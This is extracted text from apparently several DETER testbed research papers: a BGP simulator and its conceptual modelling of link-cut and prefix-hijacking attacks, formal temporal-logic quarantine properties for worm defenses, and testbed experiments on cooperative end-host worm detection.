FAIL Usage: FAIL AS AS. Causes a link failure

between two connected ASes.
RECOVER Usage: RECOVER AS AS. Recovers a link

between two ASes from link failure.
DUMP Dumps a copy of the routing tables of each

AS.
SLEEP Usage: SLEEP time. Pauses the master sim-

ulation thread for the specified time.
STOP Ends the simulation.

TABLE II
LIST OF COMMANDS USED BY THE SIMULATOR.

input to the simulator itself. Additionally, the processed data
is used to generate a realistic Internet topology. We have
developed the bgptopo utility that, for a user-specified set
of dates, determines the neighbors of an AS based on BGP
announcements and withdrawals as observed by one of the
Route Views listening points. With this topology generator,
we can reconstruct the state of the Internet at any given point
in time.

The results of this processing are two files: a topology file
contains information on ASes, the prefixes they encompass,
and the links between them and other ASes, while a command
file contains timing information to be used for determin-
ing when BGP updates, such as announcements and prefix
withdrawals, should occur. Table I gives a list of commands
used by the topology generator, while table II gives a list of
commands used by the simulator.

The lseb simulator itself is written in Java. The operation of
each individual AS is controlled by its own thread, and these
are distributed across multiple computational nodes through
assignment algorithms. Each simulation node has a master
thread that dispatches commands to each AS thread. The
simulation master thread dispatches commands to the node
master threads. Communication is achieved between threads
on the same node through thread IPC, while TCP sockets
are used to transmit information between machines. Master
threads communicate over priority channels that preempt any
other communication. The masters on each node are contacted,
and a wait cycle is executed by the simulation master thread
after all nodes have been contacted. All of the discussed

TOPO file COMMAND file

node

node 
master 
thread

TCP socket

thread IPC

AS 
thread

Fig. 1. Overview of the lseb simulator architecture. Threads communicate
though IPC when on the same node, and over TCP sockets across nodes. The
topology and command files control the simulation.

components are shown in figure 1.
Placing ASes on nodes is an open problem. Currently ASes

are assigned either manually or in a round-robin fashion. To
minimize a node’s network communication load, we desire a
heuristic that assigns neighboring ASes to the same simulation
node, up to a node’s IP size limit. Then most of the ASes
assigned to a simulation node will form a connected graph,
which minimizes the number of network messages that have
to be exchanged between simulation nodes. We also want to
ensure that nodes in a simulation testbed that are busy with
other tasks get less ASes, or none. The DETER testbed is
an ideal venue for this area of research, as the computational
capacities and number of machines in the distributed cluster
are known. We are developing a shim layer between DETER
and lseb to indicate the activity levels of hosts. This will assist
in developing node placement algorithms that maximize the
available resources.

Figure 2 shows an example topology that was used during
development of lseb. In this topology, there are 54 ASes
distributed amongst four nodes in the system. In our simulated
topology, there are multiple ASes administered per running
process, with a master process acting as a coordinator for the
slave processes. Each group of ASes is independently admin-
istered by their respective process, however, and computation
is hence distributed across nodes running these processes. We
also group all traffic sent between two simulation nodes within
a time unit in a single network message to further reduce
communication cost. We distribute routing information across
simulation nodes so that each node only stores routing tables of
the ASes it simulates. When traffic is generated, the simulation
node determines the destination AS for the given IP address
using shared data which maps IP ranges to ASes. The node
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Fig. 2. The lseb simulator running a sample topology of 54 ASes across
four nodes. The arrow indicates the best path as determined by BGP between
AS 10 and AS 64.

Fig. 3. The forensic visualization tool graphically displaying the sample
topology and an associated event log for AS 53.

then uses its view of routing tables to calculate the path to
the destination AS and the bandwidth consumption on this
path. Some traffic may be dropped due to congestion. We
calculate the portion of the traffic dropped and account for
the bandwidth consumption and the drops at appropriate links
but do not simulate the path of this traffic in the Internet. The
rest of the traffic will either be delivered to another simulation
node via a network message (if the AS path traverses more
than one simulation node) or will generate a function call on
the same simulation node.

IV. VISUALIZATION

We have developed a forensic visualization tool that allows
for graphical representation of all ASes. An example of the
visualization tool’s output is displayed in figure 3. The tool
takes topology data generated from the bgptopo extractor and
represents connected links. It also spatially separates ASes
by the computation nodes they are running on to provide an
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Fig. 4. The resulting network of 54 ASes and new path determined by BGP
between AS 10 and AS 64 after link removal.

overview of the physical topology. Additionally, details such
as event traces for specific ASes, and their associated routing
tables, can be easily viewed.

V. ATTACK SIMULATION

BGP is responsible for routing information to its correct
destination throughout the Internet. However, BGP is suscep-
tible to many forms of attacks. Because it runs over TCP,
sessions between BGP peers can be compromised by TCP
attacks, such as resetting the session and causing a denial
of service through a SYN flood. Attacks can also originate
from the IP and physical layers, such as by link cutting,
either through physical means or by congesting links between
routers to block BGP and TCP heartbeat messages. If the
adversary has the ability to cause links to oscillate by bringing
connections up and down, they can force route dampening to
occur; by manipulating the manner in which links come up
and are brought down, it is possible to arbitrarily deny service
to victim destinations indefinitely [19]. Figure 4 shows how
lseb simulates link removal and how the BGP path selection
algorithm chooses a different best path between ASes 10 and
64 in the example topology after the link cut.

Additionally, there are threats to routing that can be carried
out through BGP. In particular, a misconfigured or malicious
AS can advertise routing prefixes that do not belong to it,
and claim that it originates these prefixes. This is called
prefix hijacking. Because of the nature of routing in BGP,
where shorter paths are generally preferred, the neighbors
of a prefix advertising these falsely originated routes will
be liable to believing them to be true. They will in turn
start advertising these routes and because of the short path
lengths, their neighbors in turn will start advertising these
routes. This causes black holes to form around the areas where
the hijacked prefix is advertised, denying any entities routing
through this area from reaching the desired destination. These
can be identified in current routing configurations as MOAS



conflicts, since multiple ASes will be advertising the prefix –
the legitimate AS and the one hijacking the prefix. We have
used lseb to simulate prefix hijacking by a rogue AS and the
resulting change in BGP routing.

VI. CONCLUSIONS AND FUTURE WORK

We have described our large scale simulator for BGP
simulation, lseb. Using the DETER testbed, lseb is capable
of simulating every AS in the Internet using realistic, data-
driven topologies. We can replay network events and describe
what-if scenarios using historical routing data. While the
functionality is currently robust, further functionality is under
development. We aim to add attack and defense modules
so that different strategies for defending the greater Internet
may be easily observed and modified. Additionally, we will
compare the results of simulation to real organizational BGP
data to determine how our coarse-grained approximations of
routing compare to the actual routing process, which takes
factors such as interior gateway protocols into account.
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1 Introduction

There are many key challenges to developing the appara-
tus and methodologies necessary to evaluate the emerging
suite of approaches to large-scale worm defense. Within
the DETER/EMIST initiative [3], challenges that have
arisen during the development of our experimental frame-
work include the need to support experiment repeatability
[17], greater scalability in network topology [16, 8], and
greater realism in traffic dynamics [1]. Among these key
challenges, we also seek to expand the rigor with which
we model the protection claims of the worm defense al-
gorithm, particularly as we design tests that we hope can
fully stress and evaluate the protection claims of the algo-
rithm of interest.

To date, most of the work in understanding the behavior
of malicious code propagation and defense has centered
exclusively on understanding the effects of a proposed
malware countermeasure on the global infection growth
rate given a specific modeled network and malicious code
scenario. In this study we consider how to more rigor-
ously express design goals regarding the local impact of
a defensive algorithm from the perspective of those who
participate in the defense. We contrast this perspective of
local benefit from what we view as the current tradition of
evaluating worm defense performance based on assessing
growth rate impact on an abstracted topology of global
population.

Current worm defense performance analyses often pro-
vide little insight into understanding the potential negative
impacts of a defensive strategy on the local network. For
example, two worm defense strategies that are evaluated
against a worm that operates using a particular propaga-
tion strategy and speed may very well be found to equally
reduce the global infection growth rate on a given net-
work. However, in this work we consider performance
concerns such as whether one defense may disrupt the
communication ability of noninfected systems more than

the other. It may also be the case that while both per-
form equivalently on a given infection sequence, one may
be more susceptible to circumvention by worms that em-
ploy specially crafted infection sequences. The question
of finding stressful infection sequence cases given a spe-
cific worm defense algorithm is a critical problem, and
using model checking to search for such sequences in a
systematic way has, in the small scale, yielded some use-
ful results [5].

In this whitepaper, we discuss an initial exploration to-
ward more formal definitions of the design goals of var-
ious worm defense algorithms, and discuss an analytical
modeling approach that we believe can inform future sim-
ulation and emulation experiments in ways that will lead
to more challenging tests of the protection claims of a sys-
tem under evaluation in the DETER framework. We be-
gin by discussing current approaches to worm evaluation,
and briefly survey the design space of current worm de-
fense algorithms. We then discuss the basic definition of
quarantine in the context of worm defense algorithms, and
suggest more precise definitions of quarantine that can
capture increasingly stringent requirements for a worm
defense algorithm. We suggest how formalizing such def-
initions could help analyze a worm defense algorithm and
produce insight into designing simulation and emulation
experiments that are more targeted to stressing the design
goals of a defense algorithm under evaluation.

2 Worm Defense Evaluation

Most of the effort toward evaluating the efficacy of mal-
ware defense schemes has focused on analyzing the im-
pact of these schemes on infection growth rate in the
presence of common worm propagation strategies [1, 11,
4, 18]. Researchers study proposed worm defense algo-
rithms in the context of naı̈ve or generic randomly propa-
gating epidemic strategies, or at best attempt to mirror the
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Figure 1: Design space of defense strategies (extended from [7])

propagation strategies of previously experienced worms
such as Code Red [19] and Slammer [12]. Often simula-
tion is employed as a cost-efficient way to examine growth
rate impacts of a malware defense against a modeled epi-
demic. However, simulation provides little insight into
how the defense performs on propagation strategies other
than the specific propagation strategy modeled within the
simulation. Simulation is also an inherently insufficient
methodology for asserting algorithm behavior beyond the
scope of the simulated time window.

At the other end of the spectrum, operational testing can
provide detailed insight regarding the pragmatic issues of
worm defense overhead, management, and impact to nor-
mal operations, as well as a greater understanding of the
duress that the malicious code outbreak causes. However,
testing is generally recognized as being an intensive ac-
tivity to establish and control, particularly in the assess-
ment of defenses that are intended to scale and span over
large networks. Wide variability of topology configura-
tions and worm behavior is also expensive to fully ex-
plore, and testing is often more effective in answering di-
rect questions about specific environments and test cases
than in assessing behavioral properties across a range of
conditions. Emulation environments may offer a middle
ground for worm defense analysis that is closer to reality
than formal modeling or simulations. Among the goals of
the DETER emulation environment is to reduce the cost
of creating complex worm emulation experiments that can
more accurately capture the dynamics of a defense algo-
rithm, while reducing the effort and equipment costs as-
sociated with live testing.

3 Understanding the Design Space
of Worm Defenses

Before we illustrate how one may approach stating design
goals using a particular kind of worm defense—namely

collaborative, dynamic quarantine techniques—we focus
on understanding the design space first. The design space
can encompass many diverse defense strategies. We as-
sume that across the design space, one can employ a sim-
ilar approach of formally defining design goals using ab-
stractions adapted to the class of defenses.

Inspired by Brumley et al.’s [7] worm defense strategy
taxonomy, we present a modified and extended form as
depicted in Figure 1. The first level of distinction between
defense strategies now encompasses strategies focused on
incoming1 and outgoing2 traffic but also a category of
decoy-based techniques such as honeypots and tarpits,
and collaborative defenses such as dynamic quarantine.
On the next level remains the distinction between proac-
tive and reactive strategies. Proactive defenses are not
specific to a worm outbreak or a vulnerability in contrast
to reactive ones. We provide examples for each type of de-
fense to illustrate our understanding of the categories. In
addition to this hierarchy of strategies, we identify hybrid
strategies to be orthogonal in the design space.

For the remainder of this paper, we exemplify how to for-
mulate design goals for worm defense evaluation using
the class of dynamic quarantine strategies. There have
been a number of algorithms that approach malicious code
defense by proposing to contain, or quarantine, the in-
fected population from the uninfected [13, 2, 4, 10, 9].
The general intuition behind such strategies is that as an
epidemic spreads among a collaborative subpopulation in
the global network, infection indicators are exchanged
among the network population in a manner that may allow
members to recognize the epidemic and adjust their secu-
rity postures appropriately. For example, Dash et al. [9]
explore the detection efficacy of such strategies in the
presence of slow scanning worms that may propagate at
rates below what any single entity might recognize as the
epidemic spread. In prior work, we suggest how collabo-
rative strategies might be mixed with techniques that can

1Formerly “Protection.”
2Formerly “Local Containment.”



throttle a propagation enough to increase the potential for
corroboration to occur [15, 4].

4 Design Goals of Quarantine-based
Defense Techniques

We use the general class of dynamic quarantine algo-
rithms to illustrate how we may more rigorously under-
stand the protection claims of large-scale network defense
algorithms in general. Such understanding is particularly
important in the context of DETER/EMIST, as we con-
sider how to more strenuously evaluate a defense in search
of its benefits and disadvantages, and as we attempt to
fairly assess competitive defense schemes from more than
a single dimension.

4.1 Quarantine Definitions

For the sake of our evaluation question, let us assert that
the desired outcome of any quarantine scheme is to isolate
the infected population from the uninfected, thus slow-
ing, or ideally halting, the infection spread. Let us fur-
ther assert that the act of quarantining an individual from
the community comes at a nontrivial cost, in our case this
cost may include both the coordination overhead of imple-
menting the quarantine policy and the loss of otherwise le-
gitimate communications that cannot be performed while
the target entity remains under quarantine. We can state
a more rigorous definition of the desired worm defense
property using a formal language, such as Linear Tem-
poral Logic (LTL) [14]. As a reminder, LTL introduces
two temporal operators, ♦ (“eventually”) and � (“hence-
foth”), to the set of usual logic connectives.

For example, given a network of size N and an algorithm
that asserts it can detect and quarantine (i.e., completely
filter or block targeted communications from) an infected
subpopulation within N , we can express this property as
follows.
Property 1 (Weak Quarantine). Eventually every infected
member of N is quarantined from N. Formally,

♦(∀j ∈ {1..N} : Infected[j] ⇒ Quarantined[j])

A key term in our definition is the word “eventually,”
meaning that infected members are not born quarantined,
but rather are detected and transitioned to a quarantined
state. In a more detailed approach—for example, us-
ing Interval Temporal Logic—one could define acceptable
time bounds for such a transition. Under current evalua-
tion methods, we strongly consider the question of how

many members of N eventually resided in the infected
set as well as the rate at which they were added to this
set (i.e., infection growth rate analysis of the global net-
work).

However, we must also remember that there are costs as-
sociated with quarantining a host. For example, in a com-
petitive evaluation we would most likely prefer an algo-
rithm that avoids quarantining uninfected nodes over an
algorithm that appears to minimally discriminate who gets
quarantined, even if the latter defense produces a smaller
final infection set. Furthermore, Property 1 does not re-
quire that there exists any uninfected population at all. We
thus call Property 1 the weak quarantine property because
it is satisfiable by a defense algorithm that quarantines the
entire population upon first sign of infection or by an al-
gorithm that waits until all are infected and simply quar-
antines the corpses.

While weak quarantine is a necessary property to hold
among dynamic quarantine algorithms, it does not pro-
vide a sufficiently interesting evaluation criterion. Rather,
it may be of greater interest to explore the conditions un-
der which a quarantine algorithm provides some degree
of benefit to those within a network in which the quaran-
tine defense operates. From the local perspective, benefit
would most likely be in the form of increasing the proba-
bility that the local site’s end nodes avoid infection if the
site participates in the defense. That is, a minimally de-
sirable property of a quarantine-based defense would be
that it saves at least one member in the population given
an infection outbreak. We express this property as fol-
lows.
Property 2 (Beneficial Quarantine). Eventually every in-
fected member of N is quarantined from N and there exists
an uninfected member within N. Formally,

♦((∀j ∈ {1..N} : Infected[j] ⇒ Quarantined[j])
∧ (∃k ∈ {1..N} : ¬ Infected[k]))

This property captures a more desirable end result in that
an algorithm that can satisfy this property for a given epi-
demic can spare at least one member of the network the
cost of recovering from the malware infection. Unfortu-
nately, here again such a property could be satisfied by a
quarantine defense that simply imposes universal quaran-
tine on all members of the network, as long as at least one
member is quarantined before transitioning to the infected
state. In such a case, one might view the cure as severe as
the disease.

One direct way to strengthen our expression of a
quarantine-based defense is to add to Property 2 the re-
quirement that at a minimum, the uninfected node must



not be in the quarantined state. This has the effect of elim-
inating algorithms that impose universal quarantine to all
members of N regardless of their infection status, and en-
sures an increase in the probability that a member of N
will be saved from infection should the defense algorithm
be imposed. An algorithm that can satisfy this additional
requirement for a given network of size N in the presence
of a specific epidemic is said to provide strong local ben-
efit, which we can express as follows.
Property 3 (Strong Beneficial Quarantine). Eventually
every infected member of N is quarantined from N and
there exists an uninfected and not filtering member within
N. Formally,

♦((∀j ∈ {1..N} : Infected[j] ⇒ Quarantined[j])
∧ (∃k ∈ {1..N} : ¬ Infected[k] ∧ ¬Quarantined[k]))

While we have thus far focused on the more rigorous
expression of local benefit in our assessment of the de-
fense strategy, we have not addressed concerns regarding
how long such a benefit should last. For example, No-
jiri et al. [13] propose the use of temporal decay functions
that allow a local site to automatically remove the defen-
sive posture after some interval of time. One concern is
that while an algorithm may succeed in satisfying Prop-
erty 3 during at least one point in the modeled epidemic,
its value may be greatly reduced if the algorithm subse-
quently enters a cycle of transitioning members of N in
and out of a quarantined posture that eventually allows
the epidemic to saturate all of N . We can express a design
goal that the achievement of strong beneficial quarantine
should hold over time by applying the “always” LTL op-
erator to Property 3 as follows.
Property 4 (Strong Permanent Quarantine). Eventually
every infected member of N is quarantined from N, and
henceforth there exists an uninfected and not quarantined
member within N. Formally,

♦((∀j ∈ {1..N} : Infected[j] ⇒ Quarantined[j])
∧�(∃k ∈ {1..N} : ¬ Infected[k] ∧ ¬Quarantined[k]))

One way for an algorithm to achieve permanent quaran-
tine is for it not to allow automated transitions out of the
quarantined state, which one may view as too high a cost
to be of practical value. Alternatively, some epidemic
and detection models may enable situations in which the
infected and quarantined members of N produce a con-
tinuing flow of alarm signals that preserve the quaran-
tine posture for the life of the epidemic. In either case,
one practical concern in evaluating permanence proper-
ties is that they are not easily assessed by simulation, em-
ulation, or testing, as these techniques can assert the be-
havior of algorithms only during their finite analysis win-
dows.

4.2 Design-Time Evaluation of Rigorous
Functional Claims

The ability to formally express the functional expectations
of our algorithm not only provides vital input in helping
to enumerate applicable test cases and evaluation metrics
within the DETER evaluation framework, but these prop-
erties can be assessed very early in the algorithm design
stage. For example, one can employ model checking of
an algorithm design to search for specific input streams,
such as a worm infection sequence, that lead to a con-
tradiction in a desired protection property. Unlike simu-
lation and emulation, model checking allows one to as-
sert or refute which protection properties and other de-
sign expectations hold over the entire infection sequence
space, at least within the confines of a small-scale net-
work model. In [6], we present the results of an effort to
use model checking to evaluate various protection claims
within one exemplar quarantine-based defense, both for-
mally validating and refuting various properties, includ-
ing the permanence properties that are outside the scope
of simulation and emulation, against a fully nondetermin-
istic, exponentially growing worm infection.

Another considerable benefit to applying model checking
early in the design of malware defenses is the ability to
utilize the counterexamples produced during proof con-
tradiction to generate evaluation test cases. In the context
of model checking worm defenses, a worm infection se-
quence that contradicts a quarantine property may reveal
a worm propagation strategy, which if exposed to the de-
fense within an operational setting could bypass the de-
fense’s efforts to contain the worm. We speculate that
we can eventually develop a future modeling system that,
given a specific worm defense strategy, can explore the
full space of potential infection sequences to identify an
optimal sequence that will circumvent or at least stress
the protection claims of a defense algorithm under eval-
uation. In [5] we demonstrate this idea by employing
model checking to generate infection sequences that vi-
olate a formally stated quarantine property of a modeled
quarantine-based defense. While the implications of such
a modeling system are quite concerning, as it may result in
future tendencies to limit the open sharing of a deployed
worm defense design to avoid maliciously intended ad-
versary modeling, we believe that overall the ability to
systematically search for test sequences to fully stress the
protection claims of a defense algorithm can benefit the
defense to a greater degree than the misuse of such tech-
niques.



5 Conclusion

As the DETER/EMIST program progresses in its devel-
opment of an evaluation framework to examine the pro-
tection properties of large-scale network defenses, one
need that arises is that of developing methods to express
just what the evaluatable protection properties are for a
given defense algorithm. In this extended abstract, we
observe that in the case of worm defense systems, algo-
rithm evaluation is typically centered on measuring the
impact that the defense has on the global network infec-
tion rate. While infection rate reduction is clearly a criti-
cal metric, we suggest that there are other dimensions to
evaluating the characteristics of competing defense algo-
rithms.

We illustrate one potential direction in enumerating key
protection properties of interest in malware defense algo-
rithms. To do this we attempt to define a general pro-
tection property of quarantine-based defense, and observe
that we can increasingly strengthen the property to elim-
inate unwanted defense behavior. For example, we can
extend a basic notion of quarantine to include the require-
ment to ensure an increase in the probability of avoiding
both infection and quarantine. We can express the no-
tion of persistent protection, though such properties would
not be evaluatable using current simulation and emulation
techniques. We also discuss a related study that employs
model checking early in the design stage to both formally
validate or refute desired protection properties, and could
be useful for informing the generation of test case scenar-
ios within the DETER evaluation framework.
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Abstract— We present a method for detecting large scale 

worm attacks using only end-host detectors. These detectors 
propagate and aggregate alerts to cooperating partners to detect 
large-scale distributed attacks in progress. The properties of the 
host-based detectors may in fact be relatively poor but, when 
taken collectively result in a high-quality distributed worm 
detector. We implement a cooperative alert sharing protocol 
coupled with distributed sequential hypothesis testing to generate 
global distributed attack alarms. We evaluate the system’s 
response in the presence of a variety of false alarm conditions 
and in the presence of an Internet worm attack. Our evaluation is 
conducted with agents on the DETER emulated testbed. 
 

I. INTRODUCTION 
S a complement to centralized cyber-security defensive 
systems we have developed and evaluated cooperative 

defensive schemes. Centralized systems are designed 
primarily to protect enterprises by monitoring aggregate traffic 
at fixed locations in the network and responding by blocking 
or delaying observed malicious behavior. In some 
circumstances, however, such centralized systems may not be 
suitable; organizations may not have the resources to acquire 
and manage a large system, there may not be sufficient trust 
between sub-domains to accept a centralized protection 
policy, and large numbers of mobile nodes may exit and enter 
the network leaving them temporarily without protection. 
Previous work by us and others[1-4] have developed cyber-
defenses based upon collaborative alert-sharing as a way to 
detect and react to large-scale distributed attack such as 
Internet worms. Evaluation of these schemes is usually done 
both analytically and through simulation. Assumptions 
regarding the false positive rates are idealized abstractions due 
to the lack of a realistic testing and evaluation framework.  

II. COLLABORATIVE DISTRIBUTED DETECTION OF LARGE 
SCALE ATTACKS 

In this paper we describe and evaluate a scheme for 
distributed attack detection using cooperating end-hosts. In 
this system, all events are generated using software detection 
agents on individual end-hosts. Currently, we monitor 

inbound and outbound network traffic at the host and detect 
local anomalies in traffic features. Due to the limited view of 
these detectors, however, isolated end-hosts alone would serve 
only as low-quality (high false positive or low false negative) 
distributed attack detectors. Our goal is to cooperatively share 
information such that the aggregation of end-host alerts 
produces a high-quality (low false positive and low false 
negative) global attack detector. We accomplish this by 
implementing a distributed version of the sequential 
hypothesis test[5] used successfully in centralized detection 
schemes. With this method, all collaborating sites maintain a 
decision table constructed using the ratio of the likelihood that 
the features are a good indicator of the current worm attack to 
the likelihood for the features to occur at random. When the 
observed behavior exceeds a predetermined threshold, enough 
evidence has been accumulated to reach a correct decision 
with high probability. Each host implements a global intrusion 
detector that make decisions as follows: if, after including the 
local detector state, the calculated likelihood ratio is less than 
the false-alarm threshold, accept the hypothesis that there is 
no worm and halt the query. If the likelihood ratio is greater 
than the worm-attack threshold, accept the worm hypothesis 
and raise a global alarm, otherwise continue the random walk 
among end hosts. This defines upper and lower blocks in the 
decision table as a region likely to have been produced by an 
attack and a region likely to come from normal behavior. By 
independently sampling weak local end-host detectors one can 
achieve a strong global detector if enough sites are traversed. 

In the scheme described above, the method for obtaining 
random samples from cooperating end-hosts is left 
unspecified. In the case of Internet worm attack, our initial 
tests were performed using an epidemic spread protocol. 
Cooperating hosts contain a random subset of the addresses of 
all nodes in the collection. Nodes with new alerts from their 
local detectors choose m other end-hosts at random and send 
the message “{1,1}”, which means “one site has reported one 
alert”. Hosts receiving this message add their local 
information (e.g. it would generate a “{2,1}” if it hadn’t seen 
the activity, and a “{2,2}” if it had) and attempt to arrive at a 
decision based upon the table of likelihood ratios. If no 
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decision is reached, m new sites are selected at random and 
the message propagates. In this manner multiple chains of 
evidence are spread randomly across cooperating end-hosts. If 
“normal behavior” decisions are reached in any chain, that 
chain halts. If a “likely worm attack” decision is reached at 
any point a global warning is broadcast to all nodes. Previous 
studies have led us to conclude that messaging overheads for 
protocols with m>1 provide little benefit in early detection and 
result in needless communications in the presence of local 
false positives. During times of widespread attacks multiple 
query chains are initiated by local detectors, forming an ever 
increasing number of independent queries. 

III. EXPERIMENTAL EVALUATION ON DETER 

A. Testing Framework 
One major difficulty in testing any large scale defensive 

systems is that a large number of test machines have to be 
configured and managed efficiently. To accomplish these 
tasks, we have developed a preliminary worm testing 
framework[6] that wraps existing network testbeds like 
Emulab[7] and DETER[8]. This testing framework allows 
experimenters rapidly deploy and easily repeat large scale 
worm experiments using several hundreds to thousands of 
machines. These experiments can be used to analyze the 
efficiency of novel defenses against different kinds of worms. 
This framework is encapsulated in an API. This framework 
receives a description of our network topology format along 
with the detection engine and compiles them in a ``NS-2'' 
format required by the testbed. Though it provides its own 
library of worms and a server that is vulnerable to those 
worms, we override these two components with wormsim and 
its companion XML worm-specification library. In the testbed 
environment, the Event Control System(ECS) is the central 
piece that runs the experiments and collects logs. Our 
framework wraps the ECS system. It does this in the 
following order. The detection engine and wormsim are 
started on all nodes. A random process chooses which nodes 
are vulnerable based on the vulnerability density specified 
along with the user network topology. The experiment is 
begun by launching a seed worm to one of the nodes that is set 
as vulnerable. The experiment's progress is monitored by 

observing the logs recorded by the detection engine. Once an 
experiment is completed, the ECS collects logs from the 
various experiment nodes to a database and starts off a new of 
experiment with new parameters.  An overall architecture for 
our worm testing framework is shown in Figure 1. 

B. Experimental Setup 
The goals of our experiments are to evaluate our algorithms' 

effectiveness in identifying worm outbreaks, to determine its 
robustness against false alerts and to measure the network 
overhead of the cooperative protocol itself. The major 
components of our current experiment setup are: 

• A Worm simulator engine. 
• A global detection algorithm and protocol 

implementing the distributed sequential hypothesis 
test. 

• A local intrusion detection system to generate low 
level sensor inputs. 

• The evaluation infrastructure including the 
network test-bed itself and instrumentation 
toolkits. 

We describe these components briefly. 
Wormsim: To test distributed defenses in the presence of 

realistic worm attacks without installing vulnerable software, 
we developed the Wormsim worm emulation framework[9]. 
The goal of this framework is to generate network traffic 
patterns that mimic, as closely as possible, the patterns 
generated if malicious code had actually existed on the end 
hosts. Rather than executing malicious binary instructions that 
govern worm propagation, Wormsim agents interpret XML 
specifications written to emulate the same behavior. Agents 
accept and parse messages in an XML format and then, based 
upon the specification, connect to other “victim” hosts, 
sending them the same XML worm instructions. The targets 
are identified based upon the parameters in the XML worm 
specifications.  

Global Detection Algorithm: The sequential hypothesis test 
(SHT) detection algorithm and cooperative protocol was 
implemented as a 'C' program. Currently, each detection agent 
adds one to the number of nodes queried and one to the 
number of positives if it has seen a similar alert locally.  At 
this time, we assume there is only one alert that can be raised 
and hence no information about the kind of attack is passed 
along. However, we envision using an anomaly vector in 
future to describe the event so that stronger correlations can be 
made. 

A Local IDS: In tune with our philosophy of achieving 
high-confidence correlations from weak detectors, we 
implemented a very weak IDS. This IDS would raise an alarm 
to trigger SHT, whenever there is a connection attempt to an 
un-serviced port. The reasoning is that, a legitimate 
connection attempt usually never goes to a host that doesn't 
service it. On the contrary, automated attacks such as worms 
try to connect to hosts indiscriminately. This IDS misses all 
attacks against serviced ports. That is, those nodes that service 
a certain port have no protection and don't trigger the SHT. 
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Figure 1: A worm defense evaluation framework 
architecture. 
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Since Wormsim  knows the vulnerability status of the host at a 
certain port, it can easily use the event of receiving XML 
specs on a non-vulnerable node to trigger the detection 
algorithm. Hence this IDS was implemented as a modification 
to Wormsim itself. 

Evaluation Infrastructure: The experimental test network 
was configured with 100 PCs, a mixture of Pentium IVs and 
64-bit Xeons randomly assigned by the testbed, running 
FreeBSD 4.10. All nodes were assigned to a single LAN, 
though we emphasize that we could have used several 
thousands of machines and each one of them can be as far 
away from each other on the Internet and that only 
connectivity amongst the nodes is all that matters. A 1Mb lan 
was used so that test machines on different switches could be 
assigned to our experiment. This speeds up node assignment 
on the testbed to our experiment without significant changes 
in experimental results since our cooperative protocol wasn’t 
expected to consume much of the total bandwidth. to 98%, the 
maximum acceptable global false alarm rate was set to 2%. 
The local IDS miss rate was set at 1%. Their false alarm rates 
were set as described in the next section. In the cooperative 
alert protocol, each host could contact a number of other 
participants in order to share alerts. For this work, however, 
we set the number of selected participants to be 1 as 
mentioned above. This results in multiple parallel global alert 
chains propagating simultaneously. 

IV. EXPERIMENTAL RESULTS AND CONCLUSIONS 
To evaluate our system we focused upon three primary 

properties: the ability of the algorithm to detect worms, the 
likelihood of generating a global worm alert for a given level 
of local false alarms, and the messaging overhead of the 
system under various false alarm conditions. 

A. False Alarm Experiments 
Since, the local host IDS operates on a very naive principle, 

we expect to initiate cooperative chains conducting the SHT 
quite frequently and on false pretexts. Each and every local 
false alarm, or even a malicious port scan, will initiate a query 
sequence. We take this into account by assigning to each local 
IDS a certain false alarm rate. That is to say, for each IDS, a 
certain n alarms out of every 100 will be spurious. To test the 
effects of the quality of the local detector on the global 
decision, we set the local host IDS quality at 5 different levels, 
where n = (1, 3, 5, 10, 20). This property of the IDS forms an 
input to calculating the likelihood ratios that go into the 
decision table held by each participant. We perform 
experiments with one of these IDS quality settings at a time. 

It would be impractical to use the false alarm rates 
configured as a parameter of the local detectors to generate 
sensor event rates in the test-bed experiment. Most of the time 
spent during experiment swap-in would be consumed in 
simply waiting for a rare event. Alternatively, we selectively 
generate the rare events themselves and record the results on 
the global worm detection algorithm. The goal here is to 
generate simultaneous false-alarm conditions so that a SHT 

sequence (we call this a chain henceforth) has multiple 
members that have seen a local false alarm. We use the Event 
Control System (ECS) of the DETER test-bed to trigger false 
alarms in a number m of participants simultaneously. We 
choose m = (3, 5, 10, 20) in the experiments described below. 
Thus we have a family of 20 experimental configurations (m 
simultaneous false alarm conditions times n local IDS quality 
levels) to conduct to determine the behavior of our distributed 
collaborative SHT algorithm. We repeat each experiment 20 
times to reduce the effects of random fluctuations. These 
experiments were conducted with the detection system 
running on all 100 nodes. 

The first question we attempt to answer is; for a given 
number of simultaneous false alarms what is the chance that 
the distributed system will generate a false global worm alert? 
Figure 2 shows the fraction of times out of 20 repetitions of 

the false alarm experiments that the distributed SHT claimed 
that there was indeed a worm. Naturally the likelihood of false 
worm claims goes up as the number of simultaneous false 
alarms increases. However, as the quality of the end-node IDS 
goes down, the quality of the global detector goes up. For 
example, for a very poor quality local host IDS (with a 20% 
fp) the distributed SHT algorithm makes the global detector 
highly suspicious of alerts received resulting in fewer wrong 
decisions. For the higher quality local host IDS, 5 
simultaneous false alarms will produce a global worm alert 
using our distributed SHT 15% of the time. While this may 
not seem particularly small, the chance of getting 5 
simultaneous false alarms to begin with will be quite small for 
these types of detectors. 
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Figure 2: Performance of the distributed SHT global worm 
detector under a variety of false alarm conditions. 

The second question we wish to address is, how much 
network resources will be consumed by running this 
cooperative alert protocol under normal operating conditions? 
The concern here is that if the local host IDS quality is too 
low, during normal operations, the distributed SHT would 
require an excessive number of queries in each chain before a 
decision were obtained one way or the other. In essence, the 
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path taken in the decision table would remain in the middle, 
undecided portion rather than reaching an incorrect worm 
decision or a correct false alarm decision. Were this to happen 
continuously it might adversely affect network operations or 
allow a sophisticated attacker to trigger minor false alarms to 
deliberately induce periods of high bandwidth message 
passing. Figure 3 shows the number of messages required to 
arrive at either a global false alarm decision or a global worm 

detection for the five levels of simultaneous false alarms and 
for five values of local end-host detector quality. The number 
of required messages increases in proportion to the number of 
simultaneous false alarms since each false alarm initiates a 
new query chain. The number of messages depends little, 
however, on the overall quality of the local end-host IDS. 
During periods of false alarms, since the local alerts are 
independently distributed across end-host (next hop neighbors 
are selected at random), decisions are reached regarding false 
alarms after querying only four end-hosts on average. There 
seems to be little danger here in a runaway distributed SHT 
algorithm causing harm to normal network operations, even 
when the local end-host detectors are relatively poor. 

B. Performance in Detecting Worm Attacks 
The second set of experiments was performed to test the 

system’s response in the presence of self-propagating worm 
attack. We do not study the effects of false alarms in presence 
of worm traffic as it would only help to make a “worm'” 
decision sooner. For our worm experiments we set the 
vulnerability density to be 25%; a random process chooses 
which specific nodes in the test-bed are vulnerable. We 
configured the worm to send out a random subnet scan every 
1 second. Since the entire vulnerable population is on one 
subnet, this worm is effectively a random scanning worm. 
Although we don't trigger any false alarms during our worm 
experiments, we still repeat these experiments for various 
